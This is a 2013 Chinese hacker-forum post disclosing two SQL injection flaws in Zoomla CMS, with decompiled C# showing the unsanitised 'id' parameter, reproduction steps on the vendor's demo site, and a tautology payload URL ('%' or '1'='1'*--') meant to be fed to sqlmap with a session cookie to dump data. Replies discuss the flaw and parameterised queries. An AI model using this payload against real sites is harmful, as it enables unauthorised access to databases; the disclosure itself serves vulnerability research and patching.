查看: 19423|回复: 5

逐浪CMS通用型SQL注入8+9(select型)

[复制链接]
发表于 2013-12-24 20:54:47 | 显示全部楼层 |阅读模式
本帖最后由 Petrel 于 2013-12-24 20:54 编辑

漏洞类型: SQL注射漏洞
简要描述:

似乎逐浪开始想完全闭源了。已经准备阻止大家进行反编译了,暂时还不知道是用什么方法,以后如果研究出来的话再说吧。所以官方别再扯什么XXX源码包了,不开源不是丢人的事情,但是忽悠客户不是很好吧。
详细说明:

相关的类:

public class MIS_Target_planList : Page, IRequiresSessionState

public class MIS_Target_ProList : Page, IRequiresSessionState

漏洞证明:

注入点1:
    public class MIS_Target_planList : Page, IRequiresSessionState
     
    protected void Page_Load(object sender, EventArgs e)
     
    {
     
    this.buser.CheckIsLogin();
     
    if (!base.IsPostBack && !string.IsNullOrEmpty(base.Request["id"]))
     
    {
     
    this.id = DataConverter.CLng(base.Request["id"]); //id参数第一次过滤了
     
    thisthis.dt = this.bll.Sel("MID =" + base.Request["id"], "ID desc"); //id参数第二次直接带入查询中了
     
    if (this.dt != null && this.dt.Rows.Count > 0)
     
    {
     
    thisthis.Repeater3.DataSource = this.dt;
     
    this.Repeater3.DataBind();
     
    }
     
    }
     
    }


前台注册用户。

http://demo.zoomla.cn/Mis/Plan/AddPlan.aspx

添加计划

访问http://demo.zoomla.cn/mis/target/planList.aspx?id=0

可以看见计划都列出来了,把上面这个URL丢到工具里面,带上cookie即可:

1_131224184701_1.png




注入点2:
    public class MIS_Target_ProList : Page, IRequiresSessionState
     
    protected global_asax ApplicationInstance
     
    {
     
    get
     
    {
     
    return (global_asax)this.Context.ApplicationInstance;
     
    }
     
    }
     
    protected void Page_Load(object sender, EventArgs e)
     
    {
     
    this.buser.CheckIsLogin();
     
    if (!base.IsPostBack && !string.IsNullOrEmpty(base.Request["types"]) && base.Request["types"].ToString() == "7" && !string.IsNullOrEmpty(base.Request["id"]))
     
    {
     
    this.id = DataConverter.CLng(base.Request["id"]);
     
    thisthis.dt = this.bll.Sel("TargetID like '%" + base.Request["id"] + "%' And IsSystem=0 ", "ID desc"); //id参数没有过滤就带入SQL查询
     
    if (this.dt != null && this.dt.Rows.Count > 0)
     
    {
     
    thisthis.Repeater3.DataSource = this.dt;
     
    this.Repeater3.DataBind();
     
    }
     
    }
     
    }

注册前台用户并登录

http://demo.zoomla.cn/Mis/Project/Default.aspx

点击新建项目

随意新建一个项目。

打开http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3

页面空白

打开http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3%' or '%'='

所有添加的项目信息都在里面

把下面的链接还有cookie丢sqlmap就可以暴数据了

http://www.yunsec.net/mis/target/prolist.aspx?types=7&id=3%' or '1'='1'*--

1_131224184846_1.png
1_131224184846_2.png
回复

使用道具 举报

发表于 2013-12-24 21:00:06 | 显示全部楼层
沙发耶、、、、、、、
回复 支持 反对

使用道具 举报

发表于 2013-12-25 12:31:58 | 显示全部楼层
不错不错   顶   
回复 支持 反对

使用道具 举报

发表于 2026-5-21 13:15:00 | 显示全部楼层

Re: 逐浪CMS通用型SQL注入8+9(select型)

感谢楼主分享这个漏洞细节,分析得很清楚,代码层面的注入点也标注得很直观。这类select型注入确实危害不小,特别是第二个点还有like模糊查询,更容易被利用。建议官方及时对`id`和`types`等参数做统一的强类型转换或参数化查询,避免二次带入未过滤的值。楼主提到的闭源问题也值得关注,希望厂商能重视用户安全而不是一味隐藏代码。
回复 支持 反对

使用道具 举报

发表于 5 天前 | 显示全部楼层

Re: 逐浪CMS通用型SQL注入8+9(select型)

感谢分享!两个注入点的分析很清晰,特别是第二个点用了 like 查询还没过滤,比较典型。看来逐浪CMS在参数处理和权限控制上确实有疏忽,注册用户就能触发,影响面不小。希望官方能尽快修复,也提醒大家注意检查自己站点的升级更新。
回复 支持 反对

使用道具 举报

发表于 5 天前 | 显示全部楼层

Re: 逐浪CMS通用型SQL注入8+9(select型)

感谢分享这个详细的漏洞分析!从你提供的代码来看,确实存在明显的SQL注入风险。第一个注入点虽然对id参数做了CLng转换,但后续又直接用原始Request["id"]拼接查询,等于绕过了过滤;第二个点更是直接未过滤就拼接like查询。这种“过滤一半”的情况在实际开发中容易疏忽,危害很大。你给出的利用步骤也很清晰,方便复现验证。希望官方能尽快修复,避免数据泄露。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-23 14:44 , Processed in 0.034589 second(s), 22 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部